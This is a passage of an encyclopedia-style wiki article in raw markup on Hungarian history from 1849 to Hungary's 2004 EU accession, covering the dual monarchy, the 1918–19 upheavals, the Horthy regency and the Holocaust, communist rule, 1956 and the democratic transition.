[[Lajos Kossuth]] went into exile, with stations in the USA (where a [[Kossuth County, Iowa|county in Iowa]] was named after him), in Istanbul and in the Italian city of Turin. Realizing the biggest political error of the Revolution and himself &amp;ndash; the confrontation with the minorities of Hungary &amp;ndash; he popularized the idea of a multi-ethnic confederation of republics along the Danube, which might have prevented the escalation of hostile feelings between the ethnic groups in these areas. Many of Kossuth's revolutionary comrades in exile, including the sons of one of his sisters, stayed in the USA, and fought on the Union side in the US Civil War.

=== After the revolution (1849 - 1867) ===
[[Image:Hungary1850.png|thumb|right|Map of the [[Kingdom of Hungary]] in 1850]]
Following the war of 1848-49, the whole country was in &quot;passive resistance&quot;. Archduke [[Albrecht von Habsburg]] was appointed governor of the Kingdom of Hungary, and this time was remembered for [[Germanization]] pursued with the help of Czech&lt;!-- (!) --&gt; officers.

=== Austria - Hungary (1867 - 1918) ===
[[Image:Historic counties of Hungary.png|thumb|right|Map of the counties in the [[Kingdom of Hungary]] around 1880]]
Following the rise of resistance throughout the Hungarian kingdom, the rise of [[romantic nationalism]] among the various ethnicities, and foreign aggression from [[Prussia]] (1866), the Austrian leadership under [[Franz Joseph]] was desperate to calm the domestic political situation. This led to the [[Compromise of 1867]] (also called ''Ausgleich'') between Austria and Hungary, which turned the Habsburg Empire into the dual monarchy of [[Austria-Hungary]] &amp;ndash; Austria and Hungary maintained essentially separate governments under the same monarch. Foreign policy, Military and Economy remained common, with their center in Vienna, but the Hungarian government became an equal partner in the governance of the Empire. Following the Compromise, Hungary's 1848 Constitution was restored, and Franz Joseph was crowned King of Hungary.

There was also a Hungarian-Croatian [[Compromise of 1868]], as [[Croatia]], an old autonomous part of the Kingdom, restored its constitutional freedom. The Hungarian government was able to influence the policy of the Austrian Empire, and successfully prevented the other ethnic minorities of the Empire, such as the [[Slovaks]], [[Czechs]], [[Romanians]], and [[Poles]], from gaining power. Count [[Gyula Andrássy]] was the first premier of Hungary after the Ausgleich.

Minority problems were rising, however, and there was no Hungarian policy (e.g. federalization) against the threat of the collapse of the old Kingdom. Although the proportion of [[Magyars]] rose considerably since the 18th century (from about 29-35% in 1780 to 51% in 1900), there were still 49% non-Magyars in the Kingdom: Romanians (16.6%), Slovaks (11.9%), Germans (11.9%), Croatians and Serbs (3.7%), Ruthenians and Ukrainians (2.5%). A great number of Jews (officially not recorded since 1850) and Gypsies, however, had a Hungarian (or German) culture or mother tongue throughout the Kingdom.

== Reds and Whites (1918-1919) ==

In 1918, as a result of defeat in World War I, the Austro-Hungarian Monarchy collapsed. On [[October 31]] [[1918]], the success of the [[Aster Revolution]] in Budapest brought the liberal count [[Mihály Károlyi]] to power as Prime-Minister. The new government officially declared Hungary an independent republic in November, after the end of the war. On 22 November 1918 the Central Romanian Council of [[Romanians]] from [[Transylvania]] announced the Hungarian gouvernment that it had assumed control of Transylvania. On 1 December 1918 the gathering of [[Alba Iulia]] (Gyulafehérvár) proclaimed union of Transylvania with the Kingdom of Romania.

By February 1919 the government had lost all popular support, having failed on the domestic and military fronts. On [[March 21]], after the Entente military representative demanded more territorial concessions from Hungary, Károlyi resigned. The Communist Party of Hungary came to power, led by [[Béla Kun]], and proclaimed the [[Hungarian Soviet Republic]].

The Communists &amp;ndash; &quot;The Reds&quot; &amp;ndash; came to power largely thanks to being the only group with an organized fighting force, and they promised that Hungary would regain the lands it had lost (possibly with the help of the Soviet [[Red Army]]). The Communists also promised equality and social justice. Initially, Kun's regime achieved some impressive military successes: the Hungarian Red Army, under the lead of the genius strategist, Colonel [[Aurél Stromfeld]], ousted Czechoslovak troops from disputed lands, proclaimed an ephemeral [[Slovak Soviet Republic]], and planned to march against the Romanian army in Transylvania. In terms of domestic policy, the Communist government nationalized industrial and commercial enterprises, socialized housing, transport, banking, medicine, cultural institutions, and all landholdings of more than 400,000 square metres.

Still, the popular support of the Communists proved to be short lived. In the aftermath of a coup attempt, the government took a series of reprisals (called the [[Red Terror]]) by half-regular and half-militarist detachments (like the &quot;Lenin boys&quot;). A total of 590 people were executed without trial, which alienated much of the population. Land reform took land from the nobles but did not effectively distribute it amongst peasants. The Soviet Red Army was never able to aid the new Hungarian republic. Although it did not lose any battles, the Hungarian Red Army gave up land under pressure from the Entente. In the face of domestic backlash and an advancing Romanian force, Béla Kun and most of his comrades fled to Austria, while Budapest was occupied on [[August 6]]. All these events, and in particular the final military defeat, led to a deep feeling of dislike among the general population against the Soviet Union (which had not kept its promise to offer military assistance) and the [[Jew]]s (since many members of Kun's government were Jewish, making it easy to blame the Jews for the government's mistakes).

The new fighting force in Hungary were the Conservative [[counterrevolutionary|counter-revolutionaries]] &amp;ndash; the &quot;Whites&quot;. These, who had been organizing in [[Vienna]] and established a counter-government in [[Szeged]], assumed power, led by [[István Bethlen]], a Transylvanian aristocrat, and [[Miklós Horthy]], the former commander in chief of the Austro-Hungarian Navy. Starting in Western Hungary and spreading throughout the country, a [[White Terror#Hungarian White Terror|White Terror]] began by other half-regular and half-militarist detachments (as the police power crashed, there were no serious national regular forces and authorities), and many Communists and other leftists were executed without trial. Radical Whites launched pogroms against the [[Jew]]s, displayed as the cause of all the difficulties of Hungary. The leaving Romanian army pillaged the country &amp;ndash; the estimated property damage of their activity was so much that the international peace conference in 1919 did not require Hungary to pay war redemption to Romania. On [[November 16]], with the consent of Romanian forces, Horthy's army marched into Budapest. His government gradually restored security, stopped terror, and set up authorities, but thousands of sympathizers of the Károlyi and Kun regimes were imprisoned. Radical political movements were suppressed.

== The Regency (1920 - 1944) ==

In January 1920, Hungarian men and women cast the first secret ballots in the country's political history. The votings were not totally free, because the entire left-wing either boycotted or was excluded from the voting. A large right-wing majority was elected to a unicameral assembly. In March, the parliament annulled the Compromise of 1867, and it restored the Hungarian monarchy but postponed electing a king until civil disorder had subsided. Instead, Miklos Horthy was elected regent and was empowered, among other things, to appoint Hungary's prime minister, veto legislation, convene or dissolve the parliament, and command the armed forces.

Hungary's signing of the [[Treaty of Trianon]] on [[June 4]], [[1920]], ratified the country's dismemberment. The territorial provisions of the treaty, which ensured continued discord between Hungary and its neighbors, required the Hungarians to surrender more than two-thirds of their pre-war lands. Nearly one-third of the 10 million ethnic Hungarians found themselves outside the diminished homeland. The country's ethnic composition was left almost homogeneous, Hungarians constituting about 90% of the population, Germans made up about 6%, and Slovaks, Croats, Romanians, Jews and Gypsies accounted for the remainder.

New international borders separated Hungary's industrial base from its sources of raw materials and its former markets for agricultural and industrial products. Hungary lost 84% of its timber resources, 43% of its arable land, and 83% of its iron ore. Because most of the country's pre-war industry was concentrated near Budapest, Hungary retained about 51% of its industrial population, 56% of its industry, 82% of its heavy industry, and 70% of its banks.

Horthy appointed Count [[Pál Teleki]] prime minister in July 1920. His right-wing government issued a [[numerus clausus]] law, limiting admission of &quot;political insecure elements&quot; (these were often Jews) to universities and, in order to quiet rural discontent, took initial steps toward fulfilling a promise of major land reform by dividing about 3,850&amp;nbsp;km² from the largest estates into smallholdings. Teleki's government resigned, however, after the former emperor, [[Charles IV of Hungary|Charles IV]], unsuccessfully attempted to retake Hungary's throne in March 1921. King Charles's return produced split parties between conservatives who favored a Habsburg restoration and nationalist right-wing radicals who supported election of a Hungarian king. Count [[István Bethlen]], a non-affiliated right-wing member of the parliament, took advantage of this rift forming a new [[Party of Unity (Hungary)|Party of Unity]] under his leadership. Horthy then appointed Bethlen prime minister. Charles IV died soon after he failed a second time to reclaim the throne in October 1921.

As prime minister, Bethlen dominated Hungarian politics between 1921 and 1931. He fashioned a political machine by amending the electoral law, providing jobs in the expanding bureaucracy to his supporters, and manipulating elections in rural areas. Bethlen restored order to the country by giving the radical counterrevolutionaries payoffs and government jobs in exchange for ceasing their campaign of terror against Jews and leftists. In 1921, he made a deal with the Social Democrats and trade unions (called [[Bethlen-Peyer-pact]]), agreeing, among other things, to legalize their activities and free political prisoners in return for their pledge to refrain from spreading anti-Hungarian propaganda, calling political strikes, and organizing the peasantry. Bethlen brought Hungary into the [[League of Nations]] in 1922 and out of international isolation by signing a treaty of friendship with [[Italy]] in 1927. The revision of the Treaty of Trianon rose to the top of Hungary's political agenda and the strategy employed by Bethlen consisted by strengthening the economy and building relations with stronger nations. Revision of the treaty had such a broad backing in Hungary that Bethlen used it, at least in part, to deflect criticism of his economic, social, and political policies. 

The [[Great Depression]] induced a drop in the standard of living and the political mood of the country shifted further toward the right. In 1932 Horthy appointed a new prime-minister, [[Gyula Gömbös]], that changed the course of Hungarian policy towards closer cooperation with Germany and started an effort to magyarize the few remaining ethnic minorities in Hungary. Gömbös signed a trade agreement with Germany that drew Hungary's economy out of depression but made Hungary dependent on the German economy for both raw materials and markets. 

===World War II===
[[Image:Hungary map.png|thumb|right|[[Hungary]] in 1920 and 1941]]
[[Hitler]] used promises of returning territories, economic pressure, and threats of military intervention to compel the Hungarians into supporting his policies, including those related to Jews, which encouraged Hungary's anti-Semites. In 1935 Hungary's most important fascist party, [[Ferenc Szálasi]]'s [[Arrow Cross]], was founded. Gömbös successor, [[Kálmán Darányi]] attempted to appease the anti-Semites and the Nazis by proposing and passing the First Jewish Law, which set quotas limiting Jews to 20% of the positions in a number of businesses and professions. The law failed to satisfy Hungary's anti-Semitic radicals, and the regent then appointed the anti-Nazi [[Béla Imrédy]], who banned all Hungarian fascist parties and drafted a harsher Second Jewish Law, before Horthy forced his resignation in February 1939. The new government of Pál Teleki approved the Second Jewish Law, which greatly restricted the Jewish employment and defined Jews by blood, disregarding conversion.

The first [[Vienna Awards|Vienna Award]] of 1938 returned parts of Czechoslovakia (Slovakia and Carpathian Ruthenia) with predominantly Hungarian population. In March 1939 however, Hungary occupied the rest of [[Carpathian Ruthenia|Sub-Carpathia]], an area with no Hungarian population, and also tried to occupy the rest of (in the meantime independent) [[Slovakia]]. However, after a war with Slovakia Hungary only gained easternmost Slovakia. The second [[Vienna Awards|Vienna Award]] returned the northern part of Transylvania in September 1940. There were atrocities on both sides during this transitional period. As a German-Italian mixed committee stated: &quot;Romanians committed more robberies, Hungarians more assassinations&quot;. In October 1940 a reciprocity policy (especially in minoritiy question) was initiated between Romania and Hungary and continued until the end of WWII. Dividing Transylvania between [[Romania]] and Hungary, Hitler was able to manipulate and control both of his future allies. On [[November 20]] [[1940]], under pressure from Germany, Teleki affiliated Hungary to the [[Tripartite Pact]]. In December, he also signed an ephemeral &quot;Treaty of Eternal Friendship&quot; with Yugoslavia. A few months later, Hitler asked Hungary to support his invasion of Yugoslavia and promised territory in exchange for cooperation. Unable to prevent Hungary's participation in the war alongside Germany, Teleki committed suicide. The right-wing radical [[László Bárdossy]] succeeded and in April 1941, after the German attack, Horthy dispatched the military forces to occupy former Hungarian lands in Yugoslavia, and Hungary eventually annexed sections of [[Vojvodina]], [[Croatia]] and [[Slovenia]].

Hungary did not immediately participate in the invasion of the Soviet Union on [[June 22]] 1941 and Hitler did not directly ask for Hungarian assistance. But many Hungarian officials argued for participation so as not to encourage Hitler into favouring Romania in the event of border revisions in Transylvania. Hungary eventually entered the war at the end of June, after the questionable Soviet bombing of [[Kosice]] (Kassa). By December 1941, hopes of a quick victory over the Soviet Union had faded and by 1942 Hungary's troop contingent had increased to 150,000. Worried about Hungary's increasing reliance on Germany, Horthy removed Bárdossy and replaced him with [[Miklós Kállay]], a veteran conservative of Bethlen's government. He continued Bardossy's policy of supporting Germany against the Red Army, but he also began negotiations with the Western Allies. The Hungarian Army suffered terrible losses after a heavy Soviet breakthrough at the [[Don River, Russia|River Don]], shortly after the fall of [[Stalingrad]] in January 1943. There were secret negotiations with the British and Americans, but no connection with the Soviets (as the Western Allies requested). Aware of Kállay's deceit and fearing that Hungary might conclude a separate peace, on March 1944, Hitler ordered Nazi troops to occupy Hungary and [[Döme Sztójay]], a supporter of the Nazis, became the new prime minister. He governed with the aid of a Nazi military governor, [[Edmund Vessenmeyer]]. Horthy was confined to a castle, in essence placed under [[house arrest]].

In July 1941, the Bárdossy government deported 40,000 Jews from Hungary, and six months later Hungarian troops, in reprisal for resistance activities, murdered 3,000 Serbian and Jewish hostages, near [[Novi Sad]] in Vojvodina. Hoping to win favour with Germany by persecuting Jews, Bardossy passed the &quot;Third Jewish Law&quot; in August 1941, which prohibited marriage and sexual intercourse with Jews. While Kallay was prime minister, the Jews endured economic and [[political repression]], but the government protected them from the [[final solution]]. But when the Nazis occupied Hungary in March 1944, the deportation of the Jews to the German [[death camps]] located in occupied [[Poland]] began. The infamous SS Colonel [[Adolf Eichmann]] came to Hungary and oversaw large-scale deportations carried out by local authorities. In May and June of 1944, Hungarian police deported nearly 440,000 Jews in more than 145 trains, mostly to [[Auschwitz concentration camp|Auschwitz]] [http://www.ushmm.org/wlc/en/index.php?ModuleId=10005458]. Ultimately, over 533,000 Jews in Hungary were killed during the [[Holocaust]], as well as several tens of thousands of [[Roma people|Roma]].

In August 1944, Horthy replaced Sztójay with General [[Géza Lakatos]]. In September, Soviet forces crossed the border, and on [[October 15]] Horthy announced that Hungary had signed an armistice with the Soviet Union. The army ignored his orders and the Germans forced him to abrogate the armistice, depose Lakatos government, and name the leader of the Arrow Cross Party, [[Ferenc Szálasi]], as prime minister. Horthy abdicated, and soon Hungary became a battlefield. Szálasi promised greatness for Hungary and a prosperity for the peasants, but in reality Hungary was crumbling and its armies slowly surrendered, one by one. In cooperation with the Nazis, Szálasi restarted the deportations of Jews, now focusing on Budapest. A fascist reign of terror resulted in random massacres of Jews and other &quot;suspicious&quot; people. The retreating German army demolished the rail, road, and communications systems and the advancing Red Army found the country in a state of political chaos. Germans held off the Soviet troops near Budapest for seven weeks before the defenses collapsed, and on [[April 4]] [[1945]], the last German troops were driven out of Hungary, controlled now by the Soviet Red Army.

==Hungary's second communist government (1944-1956)==

The Soviet Army occupied Hungary from September 1944 until April 1945. It took almost 2 months to conquer [[Budapest]] and almost the whole city was destroyed.

By signing the Peace [[Treaty of Paris]], Hungary again lost all the territories that it gained between 1938 and 1941. Neither Western Allies nor the Soviet Union supported any change in Hungary's pre-1938 borders.

The Soviet Union itself annexed [[Carpathian Ruthenia|Sub-Carpathia]], which is now part of Ukraine.

The [http://www.law.fsu.edu/library/collection/LimitsinSeas/IBS076.pdf Treaty of Peace with Hungary] signed on [[10 February]] [[1947]] declared that &quot;The decisions of the Vienna Award of [[2 November]] [[1938]] are declared null and void&quot; and Hungarian boundaries were fixed along the former frontiers as they existed on [[1 January]] [[1938]], except a minor loss of territory on the Czechoslovakian border. Half of the ethnic German minority (240,000 people) was deported to Germany in 1946-48, and there was a forced &quot;exchange of population&quot; between Hungary and Czechoslovakia.

The Soviets set up an alternative government in Debrecen on [[December 21]], [[1944]] but did not capture Budapest until [[January 18]] [[1945]]. Soon afterwards, [[Zoltán Tildy]] became the provisional prime minister.

In elections held in November 1945, the [[Independent Smallholders' Party]] won 57% of the vote. The [[Hungarian Communist Party]], now under the leadership of [[Mátyás Rákosi]] and [[Erno Gero|Ernő Gerő]], received support from only 17% of the population. The Soviet commander in Hungary, Marshal Voroshilov, refused to allow the Smallholders Party to form a government. Instead Voroshilov established a coalition government with the communists holding some of the key posts. The leader of the Smallholders, [[Zoltán Tildy]], was named president and [[Ferenc Nagy]] prime minister. Mátyás Rákosi became deputy prime minister. 

[[László Rajk]] became minister of the interior and in this post established the security police ([[ÁVH]]). In February 1947 the police began arresting leaders of the Smallholders Party and the National Peasant Party. Several prominent figures in both parties escaped abroad. Later Mátyás Rákosi boasted that he had dealt with his partners in the government, one by one, &quot;cutting them off like slices of salami.&quot;

The [[Hungarian Workers Party]] (formed by a merger of the Communist Party and the Social Democratic Party) became the largest single party in the elections in 1947 and served in the coalition People's Independence Front government. The communists gradually gained control of the government and by 1948 the Social Democratic Party ceased to exist as an independent organization. Its leader, Béla Kovács was arrested and sent to Siberia. Other opposition leaders such as Anna Kéthly, Ferenc Nagy and István Szabó were imprisoned or sent into exile. 

Mátyás Rákosi also demanded complete obedience from fellow members of the Hungarian Communist Party. His main rival for power was László Rajk, who was now foreign secretary. Rajk was arrested and at his trial in September 1949 he made the forced confession to be an agent of Miklós Horthy, [[Leon Trotsky]], [[Josip Broz Tito]] and Western imperialism and admitted that he had taken part in a murder plot against Mátyás Rákosi and Ernő Gerő. László Rajk was found guilty and executed. Despite their help to Rákosi to liquidate Rajk, [[János Kádár]] and other dissidents were also purged from the party during this period. 

Mátyás Rákosi now attempted to impose authoritarian rule on Hungary. An estimated 2,000 people were executed and over 100,000 were imprisoned. These policies were opposed by some members of the Hungarian Workers Party and around 200,000 were expelled by Rákosi from the organization. 

Rákosi rapidly expanded the education system in Hungary. This was an attempt to replace the educated class of the past by what Rákosi called a new &quot;working intelligentsia&quot;. In addition to effects such as better education for the poor, more opportunities for working class children and increased literacy in general, this measure also included the dissemination of communist ideology in schools and universities. Also, as part of an effort to [[separation of church and state|separate the Church from the State]], religious instruction was denounced as propaganda and was gradually eliminated from schools. 

Ironically, Cardinal [[József Mindszenty]], who had bravely opposed the German Nazis and the Hungarian Fascists during the Second World War, was arrested in December, 1948, and accused of treason. After five weeks under arrest (which may have included torture), he confessed to the charges made against him and he was condemned to life imprisonment. The [[protestant]] churches were also purged and their leaders were replaced by those willing to remain loyal to Rákosi's government. 

The new Hungarian military hastily staged public, pre-arranged trials to purge &quot;Nazi remnants and imperialist saboteurs&quot;. Several officers were sentenced to death and executed in 1951, including [[Lajos Toth]], a 28 victory-scoring [[fighter ace]] of the WWII [[Royal Hungarian Air Force]], who had voluntarily returned from US captivity to help revive Hungarian aviation. The victims were cleared posthumously following the fall of [[communism]].

Rákosi had difficulty managing the economy and the people of Hungary saw living standards fall. His government became increasingly unpopular, and when Joseph Stalin died in 1953, Mátyás Rákosi was replaced as prime minister by [[Imre Nagy]]. However, he retained his position as general secretary of the Hungarian Workers Party and over the next three years the two men became involved in a bitter struggle for power. 

As Hungary's new leader, Imre Nagy removed state control of the mass media and encouraged public discussion on political and economic reform. This included a promise to increase the production and distribution of consumer goods. Nagy also released anti-communists from prison and talked about holding free elections and withdrawing Hungary from the Warsaw Pact. 

Mátyás Rákosi led the attacks on Nagy. On [[9 March]] [[1955]], the Central Committee of the Hungarian Workers Party condemned Nagy for &quot;rightist deviation&quot;. Hungarian newspapers joined the attacks and Nagy was accused of being responsible for the country's economic problems and on [[18 April]] he was dismissed from his post by a unanimous vote of the National Assembly. Rákosi once again became the leader of Hungary. 

Rákosi's power was undermined by a speech made by Nikita Khrushchev in February 1956. He denounced the policies of Joseph Stalin and his followers in Eastern Europe. He also claimed that the trial of László Rajk had been a &quot;miscarriage of justice&quot;. On [[18 July]] [[1956]], Rákosi was forced from power as a result of orders from the Soviet Union. However, he did manage to secure the appointment of his close friend, Ernő Gerő, as his successor. 

On 3rd October 1956, the Central Committee of the reorganized [[Hungarian Socialist Workers Party]] announced that it had decided that László Rajk, György Pálffy, Tibor Szőnyi and András Szalai had wrongly been convicted of treason in 1949. At the same time it was announced that Imre Nagy had been reinstated as a member of the party.

==1956 Revolution==
:''Main article: '''[[1956 Hungarian Revolution]]'''''

The Hungarian Uprising began on [[October 23]] by a peaceful manifestation of students in [[Budapest]]. The students demanded an end to Soviet occupation and the implementation of &quot;true socialism&quot;. The police made some arrests and tried to disperse the crowd with tear gas. When the students attempted to free those people who had been arrested, the police opened fire on the crowd.

The following day commissioned officers and soldiers joined the students on the streets of Budapest. Stalin's statue was brought down and the protesters chanted &quot;Russians go home&quot;, &quot;Away with [[Erno Gero|Gerő]]&quot; and &quot;Long Live [[Imre Nagy|Nagy]]&quot;. The Central Committee of the [[Hungarian Socialist Workers' Party|Hungarian Communist Party]] respond to these developments by deciding that [[Imre Nagy]] should become head of a new government. 

On [[October 25]] Soviet tanks opened fire on protesters in Parliament Square. One journalist at the scene saw 12 dead bodies and estimated that 170 had been wounded. Shocked by these events the Central Committee of the Communist Party forced [[Erno Gero|Ernő Gerő]] to resign from office and replaced him with [[János Kádár]].

Imre Nagy now went on Radio Kossuth and announced he had taken over the leadership of the Government as Chairman of the Council of Ministers.&quot; He also promised &quot;the far-reaching democratization of Hungarian public life, the realisation of a Hungarian road to socialism in accord with our own national characteristics, and the realisation of our lofty national aim: the radical improvement of the workers' living conditions.&quot;

On [[October 28]], Nagy and a group of his supporters, including János Kádár, Géza Losonczy, Antal Apró, Károly Kiss, Ferenc Münnich and Zoltán Szabó, manage to take control of the Hungarian Communist Party. At the same time revolutionary workers' councils and local national committees are formed all over Hungary. 

The new leadership of the party is reflected in the comments made in its newspaper, ''Szabad Nép'' (i.e. Free People). On [[October 29]] the newspaper defends the change in the government and openly criticises Soviet attempts to influence the political situation in Hungary. This view is supported by Radio Miskolc and it calls for the immediate withdrawal of Soviet troops from the country. 

On [[October 30]], Imre Nagy announced that he was freeing Cardinal [[József Mindszenty]] and other political prisoners. He also informs the people that his government intends to abolish the one-party state. This is followed by statements by Zoltán Tildy, Anna Kéthly and Ferenc Farkas concerning the reconstitution of the Smallholders Party, the Social Democratic Party and the Petőfi Peasants Party.

Nagy's most controversial decision took place on [[1 November]] when he announced that Hungary intended to withdraw from the Warsaw Pact. as well as proclaiming Hungarian neutrality he asked the [[United Nations]] to become involved in the country's dispute with the Soviet Union. 

On 3rd November, Nagy announced details of his coalition government. It included communists (János Kádár, [[Georg Lukács]], Géza Losonczy), three members of the Smallholders Party (Zoltán Tildy, Béla Kovács and István Szabó), three Social Democrats (Anna Kéthly, Gyula Keleman, Joseph Fischer), and two Petőfi Peasants (István Bibó and Ferenc Farkas). [[Pál Maléter]] was appointed minister of defence. 

[[Nikita Khrushchev]], the leader of the Soviet Union, became increasingly concerned about these developments and on [[November 4]] [[1956]] he sent the Red Army into Hungary. Soviet tanks immediately captured Hungary's airfields, highway junctions and bridges. Fighting took place all over the country but the Hungarian forces were quickly defeated.

During the Hungarian Uprising an estimated 20,000 people were killed, nearly all during the Soviet intervention. Imre Nagy was arrested and replaced by the Soviet loyalist, [[János Kádár]]. Nagy was imprisoned until being executed in 1958. Other government ministers or supporters who were either executed or died in captivity included Pál Maléter, Géza Losonczy, Attila Szigethy and Miklós Gimes.

== Changes under Kádár ==
First Kádár led a wild terror against revolutioners. 21 600 mavericks (democrats, liberals, communists alike) have been imprisoned, 13 000 been interned, and 400 killed. But in the early 1960s, Kádár announced a new policy under the motto of &quot;He who is not against us is with us.&quot; (he changed Rákosi's quote 'He who is not with us is against us'). He declared a general amnesty, gradually curbed some of the excesses of the secret police, and introduced a relatively liberal cultural and economic course aimed at overcoming the post-1956 hostility toward him and his regime. In 1966, the Central Committee approved the &quot;New Economic Mechanism,&quot; through which it sought to rehaul the economy, increase productivity, make Hungary more competitive in world markets, and create prosperity to ensure political stability. Over the next two decades of relative domestic quiet, Kádár's government responded to pressure for political and economic reform and to counter pressures from reform opponents, By the early 1980s, it had achieved some lasting economic reforms and limited political liberalization and pursued a foreign policy which encouraged more trade with the West. Nevertheless, the New Economic Mechanism led to mounting foreign debt incurred to shore up unprofitable industries.

==Transition to democracy==
Hungary's transition to a Western-style democracy was one of the smoothest among the former Soviet bloc. By 1988, activists within the party and bureaucracy and Budapest-based intellectuals were increasing pressure for change. Some of these became reform socialists, while others began movements which were to develop into parties. Young liberals formed the Federation of Young Democrats (Fidesz); a core from the so-called Democratic Opposition formed the Association of Free Democrats (SZDSZ), and the national opposition established the Hungarian Democratic Forum (MDF). Civic activism intensified to a level not seen since the 1956 revolution.

In 1988, Kádár was replaced as General Secretary of the Communist Party, and reform communist leader [[Imre Pozsgay]] was admitted to the Politburo. In 1989, the Parliament adopted a &quot;democracy package,&quot; which included trade union pluralism; freedom of association, assembly, and the press; a new electoral law; and in October 1989 a radical revision of the constitution, among others. Since then, Hungary has tried to reform its economy and increase its connections with western Europe, hoping to become a member of the [[European Union]] as soon as possible. A Central Committee plenum in February 1989 endorsed in principle the multiparty political system and the characterization of the October 1956 revolution as a &quot;popular uprising,&quot; in the words of Pozsgay, whose reform movement had been gathering strength as Communist Party membership declined dramatically. Kádár's major political rivals then cooperated to move the country gradually to democracy. The Soviet Union reduced its involvement by signing an agreement in April 1989 to withdraw Soviet forces by June 1991.

National unity culminated in [[June]] [[1989]] as the country reburied Imre Nagy, his associates, and, symbolically, all other victims of the 1956 revolution. A national round table, comprising representatives of the new parties and some recreated old parties -- such as the Smallholders and Social Democrats -- the Communist Party, and different social groups, met in the late summer of 1989 to discuss major changes to the Hungarian constitution in preparation for free elections and the transition to a fully free and democratic political system.

In October 1989, the communist party convened its last congress and re-established itself as the Hungarian Socialist Party (MSZP). In a historic session on [[October 16]] - [[October 20]], [[1989]], the Parliament adopted legislation providing for multiparty parliamentary elections and a direct presidential election. The legislation transformed Hungary from a People's Republic into the Republic of Hungary, guaranteed human and civil rights, and created an institutional structure that ensures separation of powers among the judicial, executive, and legislative branches of government. On the day of the 1956 Revolution, [[October 23]], the Hungarian Republic was officially declared (by the provisional President of the Republic [[Mátyás Szűrös]]), replacing the Hungarian People's Republic. The revised constitution also championed the &quot;values of bourgeois democracy and democratic socialism&quot; and gave equal status to public and private property.

== Free Elections and a Democratic Hungary ==
[[Image:Hu-map.png|right|thumb|Map of Hungary]]
The first free parliamentary election, held in May 1990, was a plebiscite of sorts on the communist past. The revitalized and reformed communists performed poorly despite having more than the usual advantages of an &quot;incumbent&quot; party. Populist, center-right, and liberal parties fared best, with the Democratic Forum (MDF) winning 43% of the vote and the Free Democrats (SZDSZ) capturing 24%. Under Prime Minister [[József Antall]], the MDF formed a center-right coalition government with the Independent Smallholders' Party (FKGP) and the Christian Democratic People's Party (KDNP) to command a 60% majority in the parliament. Parliamentary opposition parties included SZDSZ, the Socialists (MSZP), and the Alliance of Young Democrats (Fidesz). [[Péter Boross]] succeeded as Prime Minister after Antall died in December 1993. The &lt;nowiki&gt;Antall/Boross&lt;/nowiki&gt; coalition governments achieved a reasonably well-functioning parliamentary democracy and laid the foundation for a free-market economy, and the massive worsening of living standards because of the free-market reforms led to a massive loss of support.

In May 1994, the socialists came back to win a plurality of votes and 54% of the seats after an election campaign focused largely on economic issues and the substantial decline in living standards since 1990. A heavy turnout of voters swept away the right-of-center coalition but soundly rejected extremists on both right and left. The MSZP, whose politics was as much determined by the socialism of PM [[Gyula Horn]] and a large part of the base, as by the economic focus of its technocrats (educated with a Western orientation in seventies-eighties) and ex-cadre entrepreneur supporters, and its liberal coalition partner SzDSz continued economic reforms and privatization, adopting a painful policy of fiscal austerity (the &quot;Bokros plan&quot;) in 1995. The government pursued a foreign policy of integration with Euro-Atlantic institutions and reconciliation with neighboring countries. But neither an invitation to join NATO nor improving economic indicators guaranteed the governing parties' re-election; dissatisfaction with the pace and style of economic recovery, rising crime, the attempt to re-start the unpopular program of building a dam in the Danube, and cases of government corruption convinced voters to propel center-right parties into power following national elections in May 1998. The Federation of Young Democrats (renamed Fidesz-Hungarian Civic Party (MPP) in 1995) captured a plurality of parliamentary seats and forged a coalition with the Smallholders and the Democratic Forum. The new government, headed by 35-year-old Prime Minister [[Viktor Orbán]], promised to stimulate faster growth, curb inflation, and lower taxes. Although the Orbán administration also pledged continuity in foreign policy, and has continued to pursue Euro-Atlantic integration as its first priority, it has been a more vocal advocate of minority rights for ethnic Hungarians abroad than the previous government. In 2002 it was decided that Hungary, together with 9 other countries was to join the [[European Union]] on [[1 January]], [[2004]].

However, the Fidesz lost the next election in April 2002, in which the MSZP and its liberal ally SzDSz 51% won over FIDESZ and its ally MDF 48% in a very fierce fight showing the loss of trust in Fidesz due to professed corruption problems, a style seen as arrogant by parts of the population, and lack of communication between the government and the other parties (and some strategically very bad connections to extreme right-wing parties while electional fights), while also showing the doubt and memories of already mentioned problems with the socialist party's last government.

On [[April 12]] [[2003]] Hungary voted for joining the [[European Union]], where 83% of the votes said &quot;Yes&quot; to EU (45% of the population voted). Since the EU already accepted Hungary as a possible member, the 4 leading political parties (MSZP, FIDESZ, SZDSZ and MDF) agreed to establish the required prerequisites and policies and to work together to prepare the country for the accession with the least possible harm to the economy and people while maximising the positive effects on the country. On [[May 1]], [[2004]] Hungary became a member of the EU.

==See also==
*[[List of Hungarian rulers]]
*[[Heads of state of Hungary]]
*[[List of Prime Ministers of Hungary]]
*[[Aftermath of World War I]]
*[[Timeline of liberal and radical parties in Hungary]]
*[[Hungary before the Magyars]]
*[[Music history of Hungary]]

== External links ==
*[http://www.badley.info/history/Hungary.country.year.index.html Hungary Chronology World History Database]
*[http://www.magyarorszag.hu/angol/orszaginfo/tortenelem/tortenelem History of Hungary] from ''magyarorszag.hu''.
*[http://www.hungary.com/corvinus/ The Corvinus Library - History of Hungary]
*[http://www.lib.utexas.edu/maps/historical/ward_1912.html Cambridge Modern History Atlas]
*[http://www.lib.utexas.edu/maps/historical/history_shepherd_1911.html Historical Atlas by William R. Shepherd]
*[http://istvandr.kiszely.hu Istvan Kiszely's Homepage]
*[http://historicaltextarchive.com/hungary/shields.html HUNGARIAN Maps and Shields]
*[http://historicaltextarchive.com/sections.php?op=viewarticle&amp;artid=262 Hungarian History]
*[http://turulvideo.tk/ Historical movies of the II. World War(Free downloadable)]
*[http://www.sibiweb.de/geschi/karten/ Borders in the region between 1000-1995]
*[http://www.progenealogists.com/hungary/ Hungarian Genealogical Resources]

===''Encyclopaedia Humana Hungarica'' (1&amp;ndash;5)===
* [http://mek.oszk.hu/01900/01993/ Emese saga : Hungarian prehistory from the beginnings to King St. Stephen (1038)]
* [http://mek.oszk.hu/01900/01955/ The Vazul-line : Kings of the Árpád dynasty after St. Stephen (1038-1301)]
* [http://mek.oszk.hu/01900/01949/ Knight kings : The Anjou- and Sigismund age in Hungary (1301-1437)]
* [http://mek.oszk.hu/01900/01919/ Pannonian Renaissance : The Hunyadis and the Jagello age (1437-1526)]
* [http://mek.oszk.hu/01900/01911/ Cross and crescent : The Turkish age in Hungary (1526-1699)]
